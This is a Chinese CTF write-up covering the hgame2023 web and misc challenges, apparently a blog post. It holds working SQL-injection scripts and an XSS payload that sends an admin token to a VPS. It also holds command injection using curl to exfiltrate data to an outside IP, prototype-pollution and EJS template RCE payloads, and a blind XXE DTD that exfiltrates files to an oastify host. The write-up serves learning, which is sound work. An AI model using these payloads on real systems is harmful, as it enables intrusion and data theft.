hgame2023 Web&Misc

Web

week1

Classic Childhood Game

js小游戏

image-20230105224510817

image-20230105224533149

Become A Member

单纯的HTTP标头 修改

第一步身份认证是修改 User-Agent(卡了挺久)

image-20230209053247829

后面就没啥了

Guess Who I Am

联系脚本编写

有三个关键路由

获取问题:/api/getQuestion,验证答案:/api/verifyAnswer,获取分数:/api/getScore

根据 给的简介 来 提交对应的id

import requests
import json

url1= 'http://week-1.hgame.lwsec.cn:30886/api/getQuestion' #简介
url2= 'http://week-1.hgame.lwsec.cn:30886/api/verifyAnswer' # 提交id
url3= 'http://week-1.hgame.lwsec.cn:30886/api/getScore' # 分数
header={
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
    }

session = requests.session() #保持同一会话

for i in range(101):
    print('----------------------------------------第'+str(i)+'次结果')
    ## 1 拿到简介
    file = session.get(url=url1,headers=header)
    print(file.text)
    res = json.loads(file.text)
    target = res["message"]
    print(target)

    id = ['ba1van4', 'yolande', 't0hka', 'h4kuy4', 'kabuto', 'R1esbyfe', 'tr0uble', 'Roam', 'Potat0', 'Summer', 'chuj', '4nsw3r', '4ctue', '0wl', 'At0m', 'ChenMoFeiJin', 'Klrin', 'ek1ng', 'latt1ce', 'Ac4ae0', 'Akira', 'qz', 'Liki4', '0x4qE', 'xi4oyu', 'R3n0', 'm140', 'Mezone', 'd1gg12', 'Trotsky', 'Gamison', 'Tinmix', 'RT', 'wenzhuan', 'Cosmos', 'Y', 'Annevi', 'logong', 'Kevin', 'LurkNoi', '幼稚园', 'lostflower', 'Roc826', 'Seadom', 'ObjectNotFound', 'Moesang', 'E99p1ant', 'Michael', 'matrixtang', 'r4u', '357', 'Li4n0', '迟原静', 'Ch1p', 'f1rry', 'mian', 'ACce1er4t0r', 'MiGo', 'BrownFly', 'Aris', 'hsiaoxychen', 'Lou00', 'Junier', 'bigmud', 'NeverMoes', 'Sora', 'fantasyqt', 'vvv_347', 'veritas501', 'LuckyCat', 'Ash', 'Cyris', 'Acaleph', 'b0lv42', 'ngc7293', 'ckj123', 'cru5h', 'xiaoyao52110', 'Undefinedv', 'Spine', 'Tata', 'Airbasic', 'jibo', 'Processor', 'HeartSky', 'Minygd', 'Yotubird', 'c014', 'Explorer', 'Aklis', 'Sysorem', 'Hcamael', 'LoRexxar', 'A1ex', 'Ahlaman', 'lightless', 'Edward_L', '逆风', '陈斩仙', 'Eric']
    intro = ['21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉', '21级 / 非常菜的密码手 / 很懒的摸鱼爱好者,有点呆,想学点别的但是一直开摆', '21级 / 日常自闭的Re手', '21级 / 菜鸡pwn手 / 又菜又爱摆', '21级web / cat../../../../f*', '21级 / 爱好歪脖 / 究极咸鱼一条 / 热爱幻想 / 喜欢窥屏水群', '21级 / 喜欢肝原神的密码手', '21级 / 入门级crypto', '20级 / 摆烂网管 / DN42爱好者', '20级 / 歪脖手 / 想学运维 / 发呆业务爱好者', '20级 / 已退休不再参与大多数赛事 / 不好好学习,生活中就会多出许多魔法和奇迹', '20级会长 / re / 不会pwn', '20级 / 可能是IOT的MISC手 / 可能是美工 / 废物晚期', '20级 / Re手 / 菜', '20级 / web / 想学iot', '20级 / Crypto / 摸鱼学代师', '20级 / WEB / 菜的抠脚 / 想学GO', '20级 / Web / 还在努力', '20级 / Crypto&BlockChain / Plz V me 50 eth', '*级 / 被拐卖来接盘的格子 / 不可以乱涂乱画哦', '19级 / 不会web / 半吊子运维 / 今天您漏油了吗', '19级 / 摸鱼美工 / 学习图形学、渲染ing', '19级 / 脖子笔直歪脖手', '19级 / &lt;/p&gt;&lt;p&gt;Web', '19级 / 骨瘦如柴的胖手', '19级 / bin底层选手', '19级 / 不会re / dl萌新 / 太弱小了,没有力量 / 想学游戏', '19级 / 普通的binary爱好者。', '19级 / 游戏开发 / 🐟粉', '19级 / 半个全栈 / 安卓摸🐟 / P 社玩家 / 🍆粉', '19级 / 挖坑不填的web选手', '19级会长 / DL爱好者 / web苦手', '19级 / Re手,我手呢?', '18 级 / 完全不会安全 / 一个做设计的鸽子美工 / 天天画表情包', '18级 / 莫得灵魂的开发 / 茄粉 / 作豚 /  米厨', '18 级 / Bin / Win / 电竞缺乏视力 / 开发太菜 / 只会 C / CSGO 白给选手', '18级 / 会点开发的退休web手 / 想学挖洞 / 混吃等死', '18 级 / 求大佬带我IoT入门 / web太难了只能做做misc维持生计 / 摸🐟', '18 级 / Web / 车万', '18级 / 会一丢丢crypto / 摸鱼', '18级会长 / 二进制安全 /  干拉', '18级 / 游戏引擎开发 / 尚有梦想的game maker', '18 级 / Web 底层选手', '18 级 / Web / 真·菜到超乎想象 / 拼死学(mo)习(yu)中', '18级 / 懂点Web & Misc / 懂点运维 / 正在懂游戏引擎 / 我们联合!', '18 级 / 不擅长 Web / 擅长摸鱼 / 摸鱼!', '18级 / 囊地鼠饲养员 / 写了一个叫 Cardinal 的平台', '18 级 / Java / 会除我佬', '18级 / 编译器工程师( 伪 / 半吊子PL- 静态分析方向', '18级 / 不可以摸🐠哦', '18级 / 并不会web / 端茶送水选手', '17 级 / Web 安全爱好者 / 半个程序员 / 没有女朋友', '17级 / Focus on Java Security', '17 级 / 自称 Bin 手实际啥都不会 / 二次元安全', '17 级 / Web', '17 级 / 业余开发 / 专业摸鱼', '17级 / 摸鱼ctfer / 依旧在尝试入门bin / 菜鸡研究生+1', '17级 / 二战人 / 老二次元 / 兴趣驱动生活', '17级 / RedTeamer / 字节跳动安全工程师', '17级/ Key厨 / 腾讯玄武倒水的', '17级 / 游戏厂打工仔 / 来深圳找我快活', '17级 / web / 东南读研', '16 级 / 立志学术的统计er / R / 为楼上的脱单事业做出了贡献', '16 级会长 / Web 后端 / 会一点点 Web 安全 / 会一丢丢二进制', '16 级 / Java 福娃 / 上班 996 / 下班 669', '16 级 / Web Developer', '16 级 / 可能会运维 / 摸鱼选手', '16 级 / Rev / Windows / Freelancer', '16 级 / Bin / 被迫研狗', '16 级 / Web 🐱 / 现于长亭科技实习', '16 级 / Java 开发攻城狮 / 996 选手 / 濒临猝死', '16 级 / Web 前端 / 美工 / 阿里云搬砖', '16 级 / Web 前端 / 水母一小只 / 程序员鼓励师 / Cy 来组饥荒!', '16级 / 大果子 / 毕业1年仍在寻找vidar娘接盘侠', '16 级 / 蟒蛇饲养员 / 高数小王子', '16 级 / Web / 菜鸡第一人', '16级 / 前web手、现pwn手 / 菜鸡研究生 / scu', '16 级 / Bin 打杂 / 他们说菜都是假的,我是真的', '15 级网安协会会长 / Web 安全', '逆向 / 二进制安全', '二进制 CGC 入门水准 / 半吊子爬虫与反爬虫', 'Web 安全 / 长亭科技安服部门 / TSRC 2015 年年度英雄榜第八、2016 年年度英雄榜第十三', '15 级 / 什么都不会的开发 / 打什么都菜', '15 级 Vidar 会长 / 送分型逆向选手 / 13 段剑纯 / 差点没毕业 / 阿斯巴甜有点甜', '15 级 / 挖不到洞 / 打不动 CTF / 内网渗透不了 / 工具写不出', '15 级 / 删库跑路熟练工 / 没事儿拍个照 / 企鹅', '15 级 / 已入 Python 神教', '15 级 / Web 🐶 / 汪汪汪', '14 级 HDUISA 会长 / 二进制安全 / 曾被 NULL、TD、蓝莲花等拉去凑人数 / 差点没毕业 / 长亭安研', '14 级 HDUISA 副会长 / 二次元 / 拼多多安全工程师', '14 级网安协会会长 / HDUISA 成员 / Web 安全 / Freebuf 安全社区特约作者 / FSI2015Freebuf 特邀嘉宾', '13 级 / 知道创宇 404 安全研究员 / 现在 Nu1L 划划水 / IoT、Web、二进制漏洞,密码学,区块链都看得懂一点,但啥也不会', '14 级 / Web 🐶 / 杭电江流儿 / 自走棋主教守门员', '14 级网安协会副会长 / Web 安全', '14 级网安协会副会长 / 无线安全', 'Web 安全 / 安全工程师 / 半吊子开发 / 半吊子安全研究', '13 级 HDUISA 会长 / Web 安全 / 华为安全部门 / 二进制安全,fuzz,符号执行方向研究', '13 级菜鸡 / 大数据打杂', '什么都不会 / 咸鱼研究生 / <del>安恒</del>、<del>长亭</del> / SJTU', '渗透 / 人工智能 / 北师大博士在读']
    # 得到id
    print(intro.index(target))
    answer = id[intro.index(target)]
    print(answer)
    # 传入答案
    data={'id':answer}
    file2 = session.post(url=url2,headers=header,data=data)
    print(file2.text)
    # 检查分数
    file3 = session.get(url=url3,headers=header)
    print(file3.text)

我是先提取出来对应的id和简介,再来一一对应提交

Show Me Your Beauty

文件上传

php后缀大写 即可绕过检测

image-20230209053626992

Week2

Git Leakage

电视剧里的黑客?真正的黑客!

题干提示了git泄露,用工具试一下

扫目录确实是扫到了git

image-20230112215353856

然后用git_extract.py 扫描恢复git文件,成功拿到了一个文本Th1s_1s-flag

image-20230112215450027

image-20230112215739129

恭喜你找到了这里,不过Flag已经被我改掉啦,所以怎么找到之前版本的文件内容呢?

找到之前版本的文件内容? 我就去试试去访问url/Th1s_1s-flag

下载了这个文件,打开就是flag

image-20230112215902688

v2board

请尝试获取Admin用户的订阅链接,flag格式为hgame{admin用户订阅链接中的token值}。

image-20230112224120090

随便注册了个用户登录进去了

抓包发现 ,有authorization,这是一种身份认证的http头,

image-20230112225403237

那么去搜V2Board这个框架,发现了V2Board Admin.php 越权访问漏洞

image-20230113193117852

/api/v1/passport/auth/login接口登录该账号,如下图所示,会返回一个auth_data

然后访问/api/v1/user/login接口,并将上述获得的auth_data作为authorization头发送,这一步的目的是让服务器将普通用户的Authorization头写入缓存中

最后只要带上这个Authorization头即可访问所有的管理员接口,如/api/v1/admin/user/fetch等

image-20230113193722892

所以就是一个简单的水平越权,知道admin的接口,修改api即可

Search Commodity

密码直接爆破出来

image-20230113200833076

登录进来后有个 search_id的参数用来查询 商品

image-20230113205301948

明显是存在sql注入,不断尝试 但是回显的信息不是很明显,测不出来过滤了哪些

后面了解到是 替换为空,可以使用双写绕过

空格 过滤了,/**/ 也需要双写成/*/**/*/

关键字大小写绕过也可

-1/*/**/*/Union/*/**/*/Select/*/**/*/1,2,3#
-1/*/**/*/Union/*/**/*/Select/*/**/*/1,datadatabasebase(),3#

也是直接盲注脚本可以

= 可以用like替换

import requests
import string
strs = string.printable
headers = {
    'Cookie': 'SESSION=MTY3MzYxMTcyMnxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18uakhux0I3sDMLP6YE_83pYZ9tcWTvPhwi3S6KJFYeA4='
}
flag = ''
def attack(url):
    global flag
    for i in range(1, 100):
        for j in strs:
            if j == '%':
                continue
            tmp = ord(j)
            payload = 'DATABASE()'
            payload1 = 'SELECT(GROUP_CONCAT(TABLE_NAME))FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA)like(DATABASE())'
            payload2 = "SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME)like('5ecret15here')"
            payload3 = 'SELECT(f14gggg1shere)FROM(5ecret15here)'
            data = {
                'search_id': f"0||((ascii(substr(({payload3}),{i},1)))like({tmp}))"
            }
            r = requests.post(url, data=data, headers=headers)
            if 'hard disk' in r.text:
                flag += j
                print(flag)
                break
        if flag.endswith('}'):
            break
if __name__ == '__main__':
    url = 'http://week-2.hgame.lwsec.cn:32498/search'
    attack(url)

Designer

首页是

image-20230128200719806

/button/edit 有个编辑按钮的功能

image-20230128200653004

按钮样式是在 /button/preview 中

还给了附件 index.js

app.post("/user/register", (req, res) => {
  const username = req.body.username
  let flag = "hgame{fake_flag_here}"
  if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") {
    flag = "hgame{true_flag_here}"
  }
  const token = jwt.sign({ username, flag }, secret)
  res.json({ token })
})

这里交代了flag存在admin用户下的token中

app.post("/button/share", auth, async (req, res) => {
  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: ['--no-sandbox']
  });
  const page = await browser.newPage()
  const query = querystring.encode(req.body)
  await page.goto('http://127.0.0.1:9090/button/preview?' + query)
  await page.evaluate(() => {
    return localStorage.setItem("token", "jwt_token_here")
  })
  await page.click("#button")

  res.json({ msg: "admin will see it later" })
})

app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})

/button/share中调用了http://127.0.0.1:9090/button/preview?

/button/preview 中有黑名单过滤xss一些关键字

参考la神的wp

var xhr=new XMLHttpRequest();
xhr.open("POST","http://127.0.0.1:9090/user/register",false);
xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xhr.send(JSON.stringify({"username":"admin"}));
url="http://VPS-IP/x.php?token="+String(xhr.responseText);
var xhr2=new XMLHttpRequest();
xhr2.open("GET",url,false);
xhr2.send("token");

admin点击后,生成正确token,发送到VPS的apache日志中:

week3

Login To Get My Gift

布尔盲注

image-20230201011405524

有waf的回显,fuzz一下ban了哪些

禁了蛮多的,select union 空格 and length like substr等都没了

or是放出来了

布尔盲注,有Succes的回显

image-20230201011138563

substr(str,start,1) 等价于 right(left(str,len),1)

盲注一般用substr,不过这里ban了,可以用right+left

比如

image-20230201013422096

根据这里就可以写脚本跑出库名

=号也ban了,也有许多绕过方法,这里可以用in关键词

where table_schema = database()

where table_schema in(database())

where table_schema in(0x16进制)

import requests
import time

url = "http://week-3.hgame.lwsec.cn:31939/login"

result = ""
i = 0

while (True):
    i = i + 1
    low = 32
    high = 127

    while (low < high):
        mid = (low + high) // 2

        #payload = "0'/**/or/**/ord(right(left(database(),%d),1))>%d#" % (i, mid)
        #payload = "0'/**/or/**/ord(right(left((select(group_concat(table_name))from(information_schema.tables)where(table_schema/**/in(database()))),%d),1))>%d#" % (i, mid)
        #payload = "0'/**/or/**/ord(right(left((select(group_concat(column_name))from(information_schema.columns)where(table_name/**/in('User1nf0mAt1on'))),%d),1))>%d#" % (i, mid)
        payload = "0'/**/or/**/ord(right(left((select(group_concat(PAssw0rD))from(User1nf0mAt1on)),%d),1))>%d#" % (i, mid)

        data={
            'username':'test',
            'password':payload,
        }

        r = requests.post(url=url,data=data)
        time.sleep(0.5)
        r.encoding = "utf-8"
        # print(url+payload)
        if "Succes" in r.text:
            low = mid + 1
        else:
            #print(r.text)
            high = mid

    last = result
    if low != 32:
        result += chr(low)
    else:
        break
    print(result)

结果
库L0g1NMe
表User1nf0mAt1on
列id,UsErN4me,PAssw0rD
hgAmE2023HAppYnEwyEAr,testuser
WeLc0meT0hgAmE2023hAPPySql,testpassword

登录后访问/home即可

Ping To The Host

一个用来输入ip的ping工具,我可以用它来做些什么?

这种题型之前做的都是直接执行命令(配合; & | 等管道符)

此题也不例外,只是没有命令结果的回显

这题还设了waf,ban了 空格 ; 等

空格用${IFS}绕过

无回显执行命令,我们用curl外带

127.0.0.1|curl${IFS}http://vpsip:4444?a=`ls${IFS}/|base64`

ls / 拿到flag的文件名是flag_is_here_haha

127.0.0.1|curl${IFS}http://47.100.196.3:4444?a=`nl${IFS}/fl*`

image-20230201025222219

Gopher Shop

今天是大年初二!兔兔迈着开心的步伐走到了一教,据说每逢寒假HGAME期间,300b就会有Vidar大商场,每个进入商场的同学都可以领取10个Vidar币。兔兔在一家叫Gopher Shop的商店面前停下了脚步,Gopher?听说协会的Web手们都会一点Go,也许这是协会学长开的吧。望着橱窗里的商品,攥着手里的10个Vidar币,兔兔走进了商店…

image-20230201033328104

可以简单粗暴地使用条件竞争,直接重复买Flag10000次,就赌服务器检查不过来

import requests
import threading

def req():
    url = 'http://week-3.hgame.lwsec.cn:31111/api/v1/user/buyProduct?product=Flag&number=1'
    headers = {
        'Cookie':'SESSION=MTY3NTE4OTc0NHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwQnP1C-gBhrFuG-GFI2yGPc3QsG0CSUEHeRahONCVOxw==; session=MTY3NTE5MzMxMHxEdi1CQkFFQ180SUFBUkFCRUFBQUtQLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dJQUFZeE1qTTBOVFk9fKDfSi3Bd18TAleiQIVGKj5Tlcxs4toyGz3e-eLGoGRV'
    }
    r = requests.get(url=url, headers=headers)

for i in range(10000):
    threading.Thread(target=req).start()

10000次 竞争,成功竞争出去了一百多次

image-20230201034716260

官方wp也有解释题目预期的考点

题⽬考察的漏洞点是golang整数溢出漏洞,uint类型在64位机器上运⾏时为uint64,最⼤值为

18446744073709551615 ,最⼩值为 0 ,超出范围都会溢出。

可以使用条件竞争来做

条件竞争的利⽤点在于在多个连续的请求发给服务端时,数据库中存储的值还没有被前⼀个请求所改

变,就被后⼀个请求所取出,导致都通过了 if 中的逻辑判断,在后⾯扣除余额/数量的时候变成负

数,导致 Overflow / Underflow

如果是对于卖的接⼝条件竞争,会出现⽐如说有⼀个苹果,两个卖1个苹果的请求过来都过了if语句,

那么第⼆个请求后端会认为是 -1 个苹果也就是 18446744073709551615 个。

如果是对于买的接⼝条件竞争,会出现⽐如说有10块钱,两个买1个苹果的请求过来都过了if语句,那

么第⼆个请求后端会认为是 -10 元也就是 18446744073709551606 元

week4

Shared Diary

ek1ng给协会成员写了一个在线共享日记本,不论是谁只要知道密码,都可以在上面记录自己的小秘密。不过好像他的js学的并不好导致无意中引入了漏洞,看来js也有很多安全问题。

首先就看到了merge()

image-20230209020737109

还禁用了__proto__ 看来是原型链污染无疑了

禁掉了__proto__,可以使用constructor.prototype绕过,因为constructor.prototype也可以操作原型链

看源码app.js

const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();

function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))

app.all("/login", (req, res) => {
    if (req.method == 'POST') {
        // save userinfo to session
        let data = {};
        try {
            merge(data, req.body)
        } catch (e) {
            return res.render("login", {message: "Don't pollution my shared diary!"})
        }
        req.session.data = data

        // check password
        let user = {};
        user.password = req.body.password;
        if (user.password=== "testpassword") {
            user.role = 'admin'
        }
        if (user.role === 'admin') {
            req.session.role = 'admin'
            return res.redirect('/')
        }else {
            return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
        } 
    }
    res.render('login', {message: ""});
});

app.all('/', (req, res) => {
    if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
        return res.redirect("/login")
    }
    if (req.method == 'POST') {
        let diary = ejs.render(`<div>${req.body.diary}</div>`)
        req.session.diary = diary
        return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
    }
    return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})


app.listen(8888, '0.0.0.0');

目的是污染user.role = 'admin'

{"username": "admin","password": "admin","constructor": {"prototype":{"role": "admin"}}}

拿到admin的session,登录进去

进入 / 路由

 let diary = ejs.render(`<div>${req.body.diary}</div>`)

ejs.render() 存在SSTI漏洞 可以插⼊ <%- %> 标签来执⾏任意js,能够直接完成RCE

设置 diary 值为 <%- global.process.mainModule.require('child_process').execSync('ls -al /') %> 即可RCE

这还是我第一次写js的ssti

还存在另一个解法:

ejs 的rce 可以直接打

这里用escapeFunction可以,outputFunctionName的payload被修复了

escapeFunction的payload大致是

{
    "__proto__": {
        "__proto__": {
            "client": true,
            "escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('dir');",
            "compileDebug": true
        }
    }
}

官方给的payload是

{"constructor": {"prototype": {"role": "admin"{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"}}},"username":"ek1ng","password":"123"}

Tell Me

image-20230209032642578

一个没回显的留言板

www.zip泄露源码 flag在flag.php

send.php

<?php 
    
libxml_disable_entity_loader(false);

if ($_SERVER["REQUEST_METHOD"] == "POST"){
    $xmldata = file_get_contents("php://input");
    if (isset($xmldata)){
        $dom = new DOMDocument();
        try {
            $dom->loadXML($xmldata, LIBXML_NOENT | LIBXML_DTDLOAD);
        }catch(Exception $e){
            $result = "loading xml data error";
            echo $result;
            return;
        }
        $data = simplexml_import_dom($dom);

        if (!isset($data->name) || !isset($data->email) || !isset($data->content)){
            $result = "name,email,content cannot be empty";
            echo $result;
            return;
        }

        if ($data->name && $data->email && $data->content){
            $result = "Success! I will see it later";
            echo $result;
            return;
        }else {
            $result = "Parse xml data error";
            echo $result;
            return;
        }
    }
}else {
    die("Request Method Not Allowed");
}

?>

libxml_disable_entity_loader ()是一个PHP函数,该函数将XML解析器配置为禁用外部实体加载

libxml_disable_entity_loader(false); 则会出现问题,开启了对xml标签的解析,存在xxe,但是没有回显

试一下盲注 XXE 通过来外带回显信息 http://thnpkm.xyz/index.php/archives/99/

在vps上创建一个xxe.dtd文件:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://zsv8l81kvekly212fi702pq3buhr5g.oastify.com?x=%file;'>">

(&#37 替换一下 % 实体不让%)

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://vps/xxe.dtd">
%remote;%int;%send;
]>
<user><name>1</name><email>1</email><content>1</content></user>

image-20230209043555817

用bp自带的dnslog也拿到了回显信息,报错也回显出了信息

image-20230209043857037

image-20230209043947639

Misc

week1

Where am I

image-20230209050448256

流15发现个rar

提取出来,显示文件头损坏,还可以预知里面有个jpg

image-20230209050642123

rar格式参考 https://sp4n9x.github.io/2020/04/10/RAR%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/

image-20230209050938334

这个位置修复 为 74 20即可 顺利解决

拿到jpg然后看详情信息得到经纬度 ,exiftool更好用

image-20230209051057950

神秘的海报

zsteg 其实lsb 0通道拿到第一段flag和信息(做的时候信息没看全走了不少弯路)

image-20230209052903276

给了个连接下载 wav音频, 然后提醒了是用 Steghide加密 弱口令六位数,直接试123456

image-20230209053044098

image-20230209053106867

week2

Tetris Master

你是否已经厌倦了普通的游戏题目,对于写脚本玩游戏感到无聊? 此题你需要能够实现RCE,拿到根目录下的flag,又或者你是真正的Tetris Master? 请使用ssh进行连接,账号为ctf,密码为hgame,例如ssh ctf@week-2.hgame.lwsec.cn -p port。并且你需要将终端的字体调小,使窗口大小至少为 200 * 70 才能正常进行游戏。

image-20230206020619543

非预期连上环境询问Are you tetris master?时候 ctrl+c 直接连上shell了 cat /flag

Tetris Master Revenge

结束后按n重新开始 分数不会清零, 通过这里也比较容易打到要求分数拿到flag

image-20230206022147905

image-20230206023844007

50000分 会执行cat /flag,可以不停的重开游戏来刷到5W分。(可以使用按键精灵)

官方wp介绍了这⾥存在⼀个数组内命令执⾏的Trick:

可以在询问是否是tetris master时,输⼊ arr[$(cat/flag)] ,并且让游戏结束,这时候数组的索引为 $(cat /flag) ,作为数组索引当然会报错,但是命令执⾏的结果会被输⼊到标准输出中,来实现RCE。

bash命令执行,参考ByteCTF 2022 - bash_game,在读入 target 值进入 paint_game_over() 内,比较时 [[]] 操作符会造成RCE

image-20230206025410262

连上后输入n,输入target score为r[$(cat /flag)] 然后开游戏 结束后命令会以报错的形式执行显示出来。

image-20230206025930935

Sign In Pro Max

Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==
Part2, a hash function with 128bit digest size and 512bit block size: c629d83ff9804fb62202e90b0945a323
Part3, a hash function with 160bit digest size and 512bit block size: 99f3b3ada2b4675c518ff23cbd9539da05e2f1f8
Part4, the next generation hash function of part3 with 256bit block size and 64 rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
Ufwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its'y ktwljy ymj ktwrfy.

1.base家族 f51d3a18

2.MD5解出 f91c

3.SH1解出 4952

4.SHA256解出 a3ed

5.凯撒 Part5 is 0bc0ea61d21c now put all the parts together dont forget the format

hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}

crazy_qrcode

一个看起来挺正常的二维码,但是扫不出来东西来

https://merricx.github.io/qrazybox/ 用这个工具 暴力解码即可(当时还试了去修复,发现直接解就行)

image-20230122191222574

QDjkXkpM0BHNXujs

拿到压缩包密码,得到24张二维码碎片

image-20230122191500404

根据这个列表的数字进行翻转,然后拼图即可 ,用ppt拼图

image-20230122191802374

Cr42y_qrc0de

week3

Tunnel

非预期010搜索字符

image-20230206014453051

week4

取证

vol3倒是第一次用,之前用的vol2,Volatility3Volatility2用法差不多,但不需要指定profile ,只是插件调用方式改变,熟悉熟悉基础操作

列出系统基本信息windows.info

python3 vol.py -f win10_22h2_19045.2486.vmem windows.info
image-20230201180526086

进程列表(windows.pstree)

image-20230201184550105

扫描文件(windows.filescan)

image-20230201190108080

ezWin - variables 变量

也就是说找到flag的变量 就是本题结果

反正直接 strings | grep 'hgame' 梭出来 有个HGAME_FLAG

image-20230201191126108

试试grep flag1 这应该是预期解

image-20230201192735405

这里是给出来flag1是在环境变量

使用vol3查看环境变量那就 windows.envars

image-20230201193342528 image-20230201193517276

ezWin - auth

根据上面的经验 直接 grep flag2

image-20230201193821522

flag2 是当前 user 的 nthash

windos.hashdump 来拿用户的hash值

image-20230209051333561

用户是Noname

hgame{84b0d9c9f830238933e7131d60ac6436}

ezWin - 7zip

还记的开始的时候扫 flag文件扫出个flag.7z

image-20230209051916567

提取出来

python3 vol.py -f win10_22h2_19045.2486.vmem windows.dumpfiles --virtaddr 0xd0064181c950
image-20230209052047046

image-20230209052416177

密码还是用户的密码

上题的hash解一下md5,拿到用户的密码

image-20230209051749078

拿到flag

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值